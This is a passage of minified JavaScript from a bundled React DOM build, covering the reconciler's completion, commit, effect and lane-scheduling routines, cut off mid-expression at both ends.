c=="number"&&xo(e,""+c):s!=="suppressContentEditableWarning"&&s!=="suppressHydrationWarning"&&s!=="autoFocus"&&(ho.hasOwnProperty(s)?c!=null&&s==="onScroll"&&Fe("scroll",e):c!=null&&Lh(e,s,c,o))}switch(n){case"input":Sl(e),$v(e,r,!1);break;case"textarea":Sl(e),Fv(e);break;case"option":r.value!=null&&e.setAttribute("value",""+Ni(r.value));break;case"select":e.multiple=!!r.multiple,s=r.value,s!=null?Ha(e,!!r.multiple,s,!1):r.defaultValue!=null&&Ha(e,!!r.multiple,r.defaultValue,!0);break;default:typeof i.onClick=="function"&&(e.onclick=Ic)}switch(n){case"button":case"input":case"select":case"textarea":r=!!r.autoFocus;break e;case"img":r=!0;break e;default:r=!1}}r&&(t.flags|=4)}t.ref!==null&&(t.flags|=512,t.flags|=2097152)}return Dt(t),null;case 6:if(e&&t.stateNode!=null)X5(e,t,e.memoizedProps,r);else{if(typeof r!="string"&&t.stateNode===null)throw Error(ee(166));if(n=Gi(Co.current),Gi(dr.current),Ll(t)){if(r=t.stateNode,n=t.memoizedProps,r[sr]=t,(s=r.nodeValue!==n)&&(e=dn,e!==null))switch(e.tag){case 3:Ml(r.nodeValue,n,(e.mode&1)!==0);break;case 5:e.memoizedProps.suppressHydrationWarning!==!0&&Ml(r.nodeValue,n,(e.mode&1)!==0)}s&&(t.flags|=4)}else r=(n.nodeType===9?n:n.ownerDocument).createTextNode(r),r[sr]=t,t.stateNode=r}return Dt(t),null;case 13:if(Ue(Ye),r=t.memoizedState,e===null||e.memoizedState!==null&&e.memoizedState.dehydrated!==null){if(Ke&&cn!==null&&t.mode&1&&!(t.flags&128))p5(),ns(),t.flags|=98560,s=!1;else if(s=Ll(t),r!==null&&r.dehydrated!==null){if(e===null){if(!s)throw Error(ee(318));if(s=t.memoizedState,s=s!==null?s.dehydrated:null,!s)throw Error(ee(317));s[sr]=t}else ns(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;Dt(t),s=!1}else Wn!==null&&(Cp(Wn),Wn=null),s=!0;if(!s)return t.flags&65536?t:null}return t.flags&128?(t.lanes=n,t):(r=r!==null,r!==(e!==null&&e.memoizedState!==null)&&r&&(t.child.flags|=8192,t.mode&1&&(e===null||Ye.current&1?vt===0&&(vt=3):vx())),t.updateQueue!==null&&(t.flags|=4),Dt(t),null);case 4:return is(),yp(e,t),e===null&&No(t.stateNode.containerInfo),Dt(t),null;case 10:return ex(t.type._context),Dt(t),null;case 17:return Jt(t.type)&&Dc(),Dt(t),null;case 19:if(Ue(Ye),s=t.memoizedState,s===null)return Dt(t),null;if(r=(t.flags&128)!==0,o=s.rendering,o===null)if(r)Rs(s,!1);else{if(vt!==0||e!==null&&e.flags&128)for(e=t.child;e!==null;){if(o=Vc(e),o!==null){for(t.flags|=128,Rs(s,!1),r=o.updateQueue,r!==null&&(t.updateQueue=r,t.flags|=4),t.subtreeFlags=0,r=n,n=t.child;n!==null;)s=n,e=r,s.flags&=14680066,o=s.alternate,o===null?(s.childLanes=0,s.lanes=e,s.child=null,s.subtreeFlags=0,s.memoizedProps=null,s.memoizedState=null,s.updateQueue=null,s.dependencies=null,s.stateNode=null):(s.childLanes=o.childLanes,s.lanes=o.lanes,s.child=o.child,s.subtreeFlags=0,s.deletions=null,s.memoizedProps=o.memoizedProps,s.memoizedState=o.memoizedState,s.updateQueue=o.updateQueue,s.type=o.type,e=o.dependencies,s.dependencies=e===null?null:{lanes:e.lanes,firstContext:e.firstContext}),n=n.sibling;return Be(Ye,Ye.current&1|2),t.child}e=e.sibling}s.tail!==null&&at()>ss&&(t.flags|=128,r=!0,Rs(s,!1),t.lanes=4194304)}else{if(!r)if(e=Vc(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Rs(s,!0),s.tail===null&&s.tailMode==="hidden"&&!o.alternate&&!Ke)return Dt(t),null}else 2*at()-s.renderingStartTime>ss&&n!==1073741824&&(t.flags|=128,r=!0,Rs(s,!1),t.lanes=4194304);s.isBackwards?(o.sibling=t.child,t.child=o):(n=s.last,n!==null?n.sibling=o:t.child=o,s.last=o)}return s.tail!==null?(t=s.tail,s.rendering=t,s.tail=t.sibling,s.renderingStartTime=at(),t.sibling=null,n=Ye.current,Be(Ye,r?n&1|2:n&1),t):(Dt(t),null);case 22:case 23:return xx(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?on&1073741824&&(Dt(t),t.subtreeFlags&6&&(t.flags|=8192)):Dt(t),null;case 24:return null;case 25:return null}throw Error(ee(156,t.tag))}function bP(e,t){switch(Xh(t),t.tag){case 1:return Jt(t.type)&&Dc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return is(),Ue(Qt),Ue($t),ax(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return ix(t),null;case 13:if(Ue(Ye),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(ee(340));ns()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Ue(Ye),null;case 4:return is(),null;case 10:return ex(t.type._context),null;case 22:case 23:return xx(),null;case 24:return null;default:return null}}var Rl=!1,Rt=!1,wP=typeof WeakSet=="function"?WeakSet:Set,me=null;function Ba(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){nt(e,t,r)}else n.current=null}function bp(e,t,n){try{n()}catch(r){nt(e,t,r)}}var _g=!1;function jP(e,t){if(rp=Tc,e=t5(),Yh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,s=r.focusNode;r=r.focusOffset;try{n.nodeType,s.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,p=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==s||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)p=f,f=h;for(;;){if(f===e)break t;if(p===n&&++u===i&&(l=o),p===s&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=p,p=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(ip={focusedElem:e,selectionRange:n},Tc=!1,me=t;me!==null;)if(t=me,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,me=e;else for(;me!==null;){t=me;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Bn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(ee(163))}}catch(j){nt(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,me=e;break}me=t.return}return x=_g,_g=!1,x}function fo(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var s=i.destroy;i.destroy=void 0,s!==void 0&&bp(t,n,s)}i=i.next}while(i!==r)}}function rd(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function wp(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function Z5(e){var t=e.alternate;t!==null&&(e.alternate=null,Z5(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[sr],delete t[zo],delete t[op],delete t[iP],delete t[aP])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function Q5(e){return e.tag===5||e.tag===3||e.tag===4}function Ag(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||Q5(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function jp(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Ic));else if(r!==4&&(e=e.child,e!==null))for(jp(e,t,n),e=e.sibling;e!==null;)jp(e,t,n),e=e.sibling}function Np(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(Np(e,t,n),e=e.sibling;e!==null;)Np(e,t,n),e=e.sibling}var Et=null,Fn=!1;function ei(e,t,n){for(n=n.child;n!==null;)J5(e,t,n),n=n.sibling}function J5(e,t,n){if(ur&&typeof ur.onCommitFiberUnmount=="function")try{ur.onCommitFiberUnmount(qu,n)}catch{}switch(n.tag){case 5:Rt||Ba(n,t);case 6:var r=Et,i=Fn;Et=null,ei(e,t,n),Et=r,Fn=i,Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):Et.removeChild(n.stateNode));break;case 18:Et!==null&&(Fn?(e=Et,n=n.stateNode,e.nodeType===8?Hf(e.parentNode,n):e.nodeType===1&&Hf(e,n),bo(e)):Hf(Et,n.stateNode));break;case 4:r=Et,i=Fn,Et=n.stateNode.containerInfo,Fn=!0,ei(e,t,n),Et=r,Fn=i;break;case 0:case 11:case 14:case 15:if(!Rt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var s=i,o=s.destroy;s=s.tag,o!==void 0&&(s&2||s&4)&&bp(n,t,o),i=i.next}while(i!==r)}ei(e,t,n);break;case 1:if(!Rt&&(Ba(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){nt(n,t,l)}ei(e,t,n);break;case 21:ei(e,t,n);break;case 22:n.mode&1?(Rt=(r=Rt)||n.memoizedState!==null,ei(e,t,n),Rt=r):ei(e,t,n);break;default:ei(e,t,n)}}function Og(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new wP),t.forEach(function(r){var i=AP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function In(e,t){var n=t.deletions;if(n!==null)for(var r=0;r<n.length;r++){var i=n[r];try{var s=e,o=t,l=o;e:for(;l!==null;){switch(l.tag){case 5:Et=l.stateNode,Fn=!1;break e;case 3:Et=l.stateNode.containerInfo,Fn=!0;break e;case 4:Et=l.stateNode.containerInfo,Fn=!0;break e}l=l.return}if(Et===null)throw Error(ee(160));J5(s,o,i),Et=null,Fn=!1;var c=i.alternate;c!==null&&(c.return=null),i.return=null}catch(u){nt(i,t,u)}}if(t.subtreeFlags&12854)for(t=t.child;t!==null;)ej(t,e),t=t.sibling}function ej(e,t){var n=e.alternate,r=e.flags;switch(e.tag){case 0:case 11:case 14:case 15:if(In(t,e),er(e),r&4){try{fo(3,e,e.return),rd(3,e)}catch(g){nt(e,e.return,g)}try{fo(5,e,e.return)}catch(g){nt(e,e.return,g)}}break;case 1:In(t,e),er(e),r&512&&n!==null&&Ba(n,n.return);break;case 5:if(In(t,e),er(e),r&512&&n!==null&&Ba(n,n.return),e.flags&32){var i=e.stateNode;try{xo(i,"")}catch(g){nt(e,e.return,g)}}if(r&4&&(i=e.stateNode,i!=null)){var s=e.memoizedProps,o=n!==null?n.memoizedProps:s,l=e.type,c=e.updateQueue;if(e.updateQueue=null,c!==null)try{l==="input"&&s.type==="radio"&&s.name!=null&&jw(i,s),Gm(l,o);var u=Gm(l,s);for(o=0;o<c.length;o+=2){var d=c[o],f=c[o+1];d==="style"?Cw(i,f):d==="dangerouslySetInnerHTML"?zw(i,f):d==="children"?xo(i,f):Lh(i,d,f,u)}switch(l){case"input":Wm(i,s);break;case"textarea":Nw(i,s);break;case"select":var p=i._wrapperState.wasMultiple;i._wrapperState.wasMultiple=!!s.multiple;var h=s.value;h!=null?Ha(i,!!s.multiple,h,!1):p!==!!s.multiple&&(s.defaultValue!=null?Ha(i,!!s.multiple,s.defaultValue,!0):Ha(i,!!s.multiple,s.multiple?[]:"",!1))}i[zo]=s}catch(g){nt(e,e.return,g)}}break;case 6:if(In(t,e),er(e),r&4){if(e.stateNode===null)throw Error(ee(162));i=e.stateNode,s=e.memoizedProps;try{i.nodeValue=s}catch(g){nt(e,e.return,g)}}break;case 3:if(In(t,e),er(e),r&4&&n!==null&&n.memoizedState.isDehydrated)try{bo(t.containerInfo)}catch(g){nt(e,e.return,g)}break;case 4:In(t,e),er(e);break;case 13:In(t,e),er(e),i=e.child,i.flags&8192&&(s=i.memoizedState!==null,i.stateNode.isHidden=s,!s||i.alternate!==null&&i.alternate.memoizedState!==null||(px=at())),r&4&&Og(e);break;case 22:if(d=n!==null&&n.memoizedState!==null,e.mode&1?(Rt=(u=Rt)||d,In(t,e),Rt=u):In(t,e),er(e),r&8192){if(u=e.memoizedState!==null,(e.stateNode.isHidden=u)&&!d&&e.mode&1)for(me=e,d=e.child;d!==null;){for(f=me=d;me!==null;){switch(p=me,h=p.child,p.tag){case 0:case 11:case 14:case 15:fo(4,p,p.return);break;case 1:Ba(p,p.return);var x=p.stateNode;if(typeof x.componentWillUnmount=="function"){r=p,n=p.return;try{t=r,x.props=t.memoizedProps,x.state=t.memoizedState,x.componentWillUnmount()}catch(g){nt(r,n,g)}}break;case 5:Ba(p,p.return);break;case 22:if(p.memoizedState!==null){Mg(f);continue}}h!==null?(h.return=p,me=h):Mg(f)}d=d.sibling}e:for(d=null,f=e;;){if(f.tag===5){if(d===null){d=f;try{i=f.stateNode,u?(s=i.style,typeof s.setProperty=="function"?s.setProperty("display","none","important"):s.display="none"):(l=f.stateNode,c=f.memoizedProps.style,o=c!=null&&c.hasOwnProperty("display")?c.display:null,l.style.display=Sw("display",o))}catch(g){nt(e,e.return,g)}}}else if(f.tag===6){if(d===null)try{f.stateNode.nodeValue=u?"":f.memoizedProps}catch(g){nt(e,e.return,g)}}else if((f.tag!==22&&f.tag!==23||f.memoizedState===null||f===e)&&f.child!==null){f.child.return=f,f=f.child;continue}if(f===e)break e;for(;f.sibling===null;){if(f.return===null||f.return===e)break e;d===f&&(d=null),f=f.return}d===f&&(d=null),f.sibling.return=f.return,f=f.sibling}}break;case 19:In(t,e),er(e),r&4&&Og(e);break;case 21:break;default:In(t,e),er(e)}}function er(e){var t=e.flags;if(t&2){try{e:{for(var n=e.return;n!==null;){if(Q5(n)){var r=n;break e}n=n.return}throw Error(ee(160))}switch(r.tag){case 5:var i=r.stateNode;r.flags&32&&(xo(i,""),r.flags&=-33);var s=Ag(e);Np(e,s,i);break;case 3:case 4:var o=r.stateNode.containerInfo,l=Ag(e);jp(e,l,o);break;default:throw Error(ee(161))}}catch(c){nt(e,e.return,c)}e.flags&=-3}t&4096&&(e.flags&=-4097)}function NP(e,t,n){me=e,tj(e)}function tj(e,t,n){for(var r=(e.mode&1)!==0;me!==null;){var i=me,s=i.child;if(i.tag===22&&r){var o=i.memoizedState!==null||Rl;if(!o){var l=i.alternate,c=l!==null&&l.memoizedState!==null||Rt;l=Rl;var u=Rt;if(Rl=o,(Rt=c)&&!u)for(me=i;me!==null;)o=me,c=o.child,o.tag===22&&o.memoizedState!==null?Lg(i):c!==null?(c.return=o,me=c):Lg(i);for(;s!==null;)me=s,tj(s),s=s.sibling;me=i,Rl=l,Rt=u}Tg(e)}else i.subtreeFlags&8772&&s!==null?(s.return=i,me=s):Tg(e)}}function Tg(e){for(;me!==null;){var t=me;if(t.flags&8772){var n=t.alternate;try{if(t.flags&8772)switch(t.tag){case 0:case 11:case 15:Rt||rd(5,t);break;case 1:var r=t.stateNode;if(t.flags&4&&!Rt)if(n===null)r.componentDidMount();else{var i=t.elementType===t.type?n.memoizedProps:Bn(t.type,n.memoizedProps);r.componentDidUpdate(i,n.memoizedState,r.__reactInternalSnapshotBeforeUpdate)}var s=t.updateQueue;s!==null&&vg(t,s,r);break;case 3:var o=t.updateQueue;if(o!==null){if(n=null,t.child!==null)switch(t.child.tag){case 5:n=t.child.stateNode;break;case 1:n=t.child.stateNode}vg(t,o,n)}break;case 5:var l=t.stateNode;if(n===null&&t.flags&4){n=l;var c=t.memoizedProps;switch(t.type){case"button":case"input":case"select":case"textarea":c.autoFocus&&n.focus();break;case"img":c.src&&(n.src=c.src)}}break;case 6:break;case 4:break;case 12:break;case 13:if(t.memoizedState===null){var u=t.alternate;if(u!==null){var d=u.memoizedState;if(d!==null){var f=d.dehydrated;f!==null&&bo(f)}}}break;case 19:case 17:case 21:case 22:case 23:case 25:break;default:throw Error(ee(163))}Rt||t.flags&512&&wp(t)}catch(p){nt(t,t.return,p)}}if(t===e){me=null;break}if(n=t.sibling,n!==null){n.return=t.return,me=n;break}me=t.return}}function Mg(e){for(;me!==null;){var t=me;if(t===e){me=null;break}var n=t.sibling;if(n!==null){n.return=t.return,me=n;break}me=t.return}}function Lg(e){for(;me!==null;){var t=me;try{switch(t.tag){case 0:case 11:case 15:var n=t.return;try{rd(4,t)}catch(c){nt(t,n,c)}break;case 1:var r=t.stateNode;if(typeof r.componentDidMount=="function"){var i=t.return;try{r.componentDidMount()}catch(c){nt(t,i,c)}}var s=t.return;try{wp(t)}catch(c){nt(t,s,c)}break;case 5:var o=t.return;try{wp(t)}catch(c){nt(t,o,c)}}}catch(c){nt(t,t.return,c)}if(t===e){me=null;break}var l=t.sibling;if(l!==null){l.return=t.return,me=l;break}me=t.return}}var kP=Math.ceil,Gc=Ur.ReactCurrentDispatcher,fx=Ur.ReactCurrentOwner,En=Ur.ReactCurrentBatchConfig,Pe=0,Nt=null,ut=null,Ot=0,on=0,Fa=Ei(0),vt=0,Ao=null,sa=0,id=0,mx=0,mo=null,Gt=null,px=0,ss=1/0,wr=null,Yc=!1,kp=null,xi=null,$l=!1,li=null,qc=0,po=0,zp=null,gc=-1,yc=0;function Wt(){return Pe&6?at():gc!==-1?gc:gc=at()}function vi(e){return e.mode&1?Pe&2&&Ot!==0?Ot&-Ot:oP.transition!==null?(yc===0&&(yc=$w()),yc):(e=Le,e!==0||(e=window.event,e=e===void 0?16:Kw(e.type)),e):1}function Gn(e,t,n,r){if(50<po)throw po=0,zp=null,Error(ee(185));el(e,n,r),(!(Pe&2)||e!==Nt)&&(e===Nt&&(!(Pe&2)&&(id|=n),vt===4&&ai(e,Ot)),en(e,r),n===1&&Pe===0&&!(t.mode&1)&&(ss=at()+500,ed&&_i()))}function en(e,t){var n=e.callbackNode;oC(e,t);var r=Oc(e,e===Nt?Ot:0);if(r===0)n!==null&&Vv(n),e.callbackNode=null,e.callbackPriority=0;else if(t=r&-r,e.callbackPriority!==t){if(n!=null&&Vv(n),t===1)e.tag===0?sP(Ig.bind(null,e)):d5(Ig.bind(null,e)),nP(function(){!(Pe&6)&&_i()}),n=null;else{switch(Bw(r)){case 1:n=Bh;break;case 4:n=Dw;break;case 16:n=Ac;break;case 536870912:n=Rw;break;default:n=Ac}n=cj(n,nj.bind(null,e))}e.callbackPriority=t,e.callbackNode=n}}function nj(e,t){if(gc=-1,yc=0,Pe&6)throw Error(ee(327));var n=e.callbackNode;if(Xa()&&e.callbackNode!==n)return null;var r=Oc(e,e===Nt?Ot:0);if(r===0)return null;if(r&30||r&e.expiredLanes||t)t=Xc(e,r);else{t=r;var i=Pe;Pe|=2;var s=ij();(Nt!==e||Ot!==t)&&(wr=null,ss=at()+500,Zi(e,t));do try{CP();break}catch(l){rj(e,l)}while(!0);Jh(),Gc.current=s,Pe=i,ut!==null?t=0:(Nt=null,Ot=0,t=vt)}if(t!==0){if(t===2&&(i=Qm(e),i!==0&&(r=i,t=Sp(e,i))),t===1)throw n=Ao,Zi(e,0),ai(e,r),en(e,at()),n;if(t===6)ai(e,r);else{if(i=e.current.alternate,!(r&30)&&!zP(i)&&(t=Xc(e,r),t===2&&(s=Qm(e),s!==0&&(r=s,t=Sp(e,s))),t===1))throw n=Ao,Zi(e,0),ai(e,r),en(e,at()),n;switch(e.finishedWork=i,e.finishedLanes=r,t){case 0:case 1:throw Error(ee(345));case 2:Bi(e,Gt,wr);break;case 3:if(ai(e,r),(r&130023424)===r&&(t=px+500-at(),10<t)){if(Oc(e,0)!==0)break;if(i=e.suspendedLanes,(i&r)!==r){Wt(),e.pingedLanes|=e.suspendedLanes&i;break}e.timeoutHandle=sp(Bi.bind(null,e,Gt,wr),t);break}Bi(e,Gt,wr);break;case 4:if(ai(e,r),(r&4194240)===r)break;for(t=e.eventTimes,i=-1;0<r;){var o=31-Kn(r);s=1<<o,o=t[o],o>i&&(i=o),r&=~s}if(r=i,r=at()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*kP(r/1960))-r,10<r){e.timeoutHandle=sp(Bi.bind(null,e,Gt,wr),r);break}Bi(e,Gt,wr);break;case 5:Bi(e,Gt,wr);break;default:throw Error(ee(329))}}}return en(e,at()),e.callbackNode===n?nj.bind(null,e):null}function Sp(e,t){var n=mo;return e.current.memoizedState.isDehydrated&&(Zi(e,t).flags|=256),e=Xc(e,t),e!==2&&(t=Gt,Gt=n,t!==null&&Cp(t)),e}function Cp(e){Gt===null?Gt=e:Gt.push.apply(Gt,e)}function zP(e){for(var t=e;;){if(t.flags&16384){var n=t.updateQueue;if(n!==null&&(n=n.stores,n!==null))for(var r=0;r<n.length;r++){var i=n[r],s=i.getSnapshot;i=i.value;try{if(!qn(s(),i))return!1}catch{return!1}}}if(n=t.child,t.subtreeFlags&16384&&n!==null)n.return=t,t=n;else{if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}function ai(e,t){for(t&=~mx,t&=~id,e.suspendedLanes|=t,e.pingedLanes&=~t,e=e.expirationTimes;0<t;){var n=31-Kn(t),r=1<<n;e[n]=-1,t&=~r}}function Ig(e){if(Pe&6)throw Error(ee(327));Xa();var t=Oc(e,0);if(!(t&1))return en(e,at()),null;var n=Xc(e,t);if(e.tag!==0&&n===2){var r=Qm(e);r!==0&&(t=r,n=Sp(e,r))}if(n===1)throw n=Ao,Zi(e,0),ai(e,t),en(e,at()),n;if(n===6)throw Error(ee(345));return e.finishedWork=e.current.alternate,e.finishedLanes=t,Bi(e,Gt,wr),en(e,at()),null}function hx(e,t){var n=Pe;Pe|=1;try{return e(t)}finally{Pe=n,Pe===0&&(ss=at()+500,ed&&_i())}}function oa(e){li!==null&&li.tag===0&&!(Pe&6)&&Xa();var t=Pe;Pe|=1;var n=En.transition,r=Le;try{if(En.transition=null,Le=1,e)return e()}finally{Le=r,En.transition=n,Pe=t,!(Pe&6)&&_i()}}function xx(){on=Fa.current,Ue(Fa)}function Zi(e,t){e.finishedWork=null,e.finishedLanes=0;var n=e.timeoutHandle;if(n!==-1&&(e.timeoutHandle=-1,tP(n)),ut!==null)for(n=ut.return;n!==null;){var r=n;switch(Xh(r),r.tag){case 1:r=r.type.childContextTypes,r!=null&&Dc();break;case 3:is(),Ue(Qt),Ue($t),ax();break;case 5:ix(r);break;case 4:is();break;case 13:Ue(Ye);break;case 19:Ue(Ye);break;case 10:ex(r.type._context);break;case 22:case 23:xx()}n=n.return}if(Nt=e,ut=e=gi(e.current,null),Ot=on=t,vt=0,Ao=null,mx=id=sa=0,Gt=mo=null,Ki!==null){for(t=0;t<Ki.length;t++)if(n=Ki[t],r=n.interleaved,r!==null){n.interleaved=null;var i=r.next,s=n.pending;if(s!==null){var o=s.next;s.next=i,r.next=o}n.pending=r}Ki=null}return e}function rj(e,t){do{var n=ut;try{if(Jh(),hc.current=Kc,Hc){for(var r=qe.memoizedState;r!==null;){var i=r.queue;i!==null&&(i.pending=null),r=r.next}Hc=!1}if(aa=0,jt=pt=qe=null,uo=!1,Po=0,fx.current=null,n===null||n.return===null){vt=1,Ao=t,ut=null;break}e:{var s=e,o=n.return,l=n,c=t;if(t=Ot,l.flags|=32768,c!==null&&typeof c=="object"&&typeof c.then=="function"){var u=c,d=l,f=d.tag;if(!(d.mode&1)&&(f===0||f===11||f===15)){var p=d.alternate;p?(d.updateQueue=p.updateQueue,d.memoizedState=p.memoizedState,d.lanes=p.lanes):(d.updateQueue=null,d.memoizedState=null)}var h=Ng(o);if(h!==null){h.flags&=-257,kg(h,o,l,s,t),h.mode&1&&jg(s,u,t),t=h,c=u;var x=t.updateQueue;if(x===null){var g=new Set;g.add(c),t.updateQueue=g}else x.add(c);break e}else{if(!(t&1)){jg(s,u,t),vx();break e}c=Error(ee(426))}}else if(Ke&&l.mode&1){var y=Ng(o);if(y!==null){!(y.flags&65536)&&(y.flags|=256),kg(y,o,l,s,t),Zh(as(c,l));break e}}s=c=as(c,l),vt!==4&&(vt=2),mo===null?mo=[s]:mo.push(s),s=o;do{switch(s.tag){case 3:s.flags|=65536,t&=-t,s.lanes|=t;var v=B5(s,c,t);xg(s,v);break e;case 1:l=c;var b=s.type,w=s.stateNode;if(!(s.flags&128)&&(typeof b.getDerivedStateFromError=="function"||w!==null&&typeof w.componentDidCatch=="function"&&(xi===null||!xi.has(w)))){s.flags|=65536,t&=-t,s.lanes|=t;var j=F5(s,l,t);xg(s,j);break e}}s=s.return}while(s!==null)}sj(n)}catch(N){t=N,ut===n&&n!==null&&(ut=n=n.return);continue}break}while(!0)}function ij(){var e=Gc.current;return Gc.current=Kc,e===null?Kc:e}function vx(){(vt===0||vt===3||vt===2)&&(vt=4),Nt===null||!(sa&268435455)&&!(id&268435455)||ai(Nt,Ot)}function Xc(e,t){var n=Pe;Pe|=2;var r=ij();(Nt!==e||Ot!==t)&&(wr=null,Zi(e,t));do try{SP();break}catch(i){rj(e,i)}while(!0);if(Jh(),Pe=n,Gc.current=r,ut!==null)throw Error(ee(261));return Nt=null,Ot=0,vt}function SP(){for(;ut!==null;)aj(ut)}function CP(){for(;ut!==null&&!QS();)aj(ut)}function aj(e){var t=lj(e.alternate,e,on);e.memoizedProps=e.pendingProps,t===null?sj(e):ut=t,fx.current=null}function sj(e){var t=e;do{var n=t.alternate;if(e=t.return,t.flags&32768){if(n=bP(n,t),n!==null){n.flags&=32767,ut=n;return}if(e!==null)e.flags|=32768,e.subtreeFlags=0,e.deletions=null;else{vt=6,ut=null;return}}else if(n=yP(n,t,on),n!==null){ut=n;return}if(t=t.sibling,t!==null){ut=t;return}ut=t=e}while(t!==null);vt===0&&(vt=5)}function Bi(e,t,n){var r=Le,i=En.transition;try{En.transition=null,Le=1,PP(e,t,n,r)}finally{En.transition=i,Le=r}return null}function PP(e,t,n,r){do Xa();while(li!==null);if(Pe&6)throw Error(ee(327));n=e.finishedWork;var i=e.finishedLanes;if(n===null)return null;if(e.finishedWork=null,e.finishedLanes=0,n===e.current)throw Error(ee(177));e.callbackNode=null,e.callbackPriority=0;var s=n.lanes|n.childLanes;if(lC(e,s),e===Nt&&(ut=Nt=null,Ot=0),!(n.subtreeFlags&2064)&&!(n.flags&2064)||$l||($l=!0,cj(Ac,function(){return Xa(),null})),s=(n.flags&15990)!==0,n.subtreeFlags&15990||s){s=En.transition,En.transition=null;var o=Le;Le=1;var l=Pe;Pe|=4,fx.current=null,jP(e,n),ej(n,e),YC(ip),Tc=!!rp,ip=rp=null,e.current=n,NP(n),JS(),Pe=l,Le=o,En.transition=s}else e.current=n;if($l&&($l=!1,li=e,qc=i),s=e.pendingLanes,s===0&&(xi=null),nC(n.stateNode),en(e,at()),t!==null)for(r=e.onRecoverableError,n=0;n<t.length;n++)i=t[n],r(i.value,{componentStack:i.stack,digest:i.digest});if(Yc)throw Yc=!1,e=kp,kp=null,e;return qc&1&&e.tag!==0&&Xa(),s=e.pendingLanes,s&1?e===zp?po++:(po=0,zp=e):po=0,_i(),null}function Xa(){if(li!==null){var e=Bw(qc),t=En.transition,n=Le;try{if(En.transition=null,Le=16>e?16:e,li===null)var r=!1;else{if(e=li,li=null,qc=0,Pe&6)throw Error(ee(331));var i=Pe;for(Pe|=4,me=e.current;me!==null;){var s=me,o=s.child;if(me.flags&16){var l=s.deletions;if(l!==null){for(var c=0;c<l.length;c++){var u=l[c];for(me=u;me!==null;){var d=me;switch(d.tag){case 0:case 11:case 15:fo(8,d,s)}var f=d.child;if(f!==null)f.return=d,me=f;else for(;me!==null;){d=me;var p=d.sibling,h=d.return;if(Z5(d),d===u){me=null;break}if(p!==null){p.return=h,me=p;break}me=h}}}var x=s.alternate;if(x!==null){var g=x.child;if(g!==null){x.child=null;do{var y=g.sibling;g.sibling=null,g=y}while(g!==null)}}me=s}}if(s.subtreeFlags&2064&&o!==null)o.return=s,me=o;else e:for(;me!==null;){if(s=me,s.flags&2048)switch(s.tag){case 0:case 11:case 15:fo(9,s,s.return)}var v=s.sibling;if(v!==null){v.return=s.return,me=v;break e}me=s.return}}var b=e.current;for(me=b;me!==null;){o=me;var 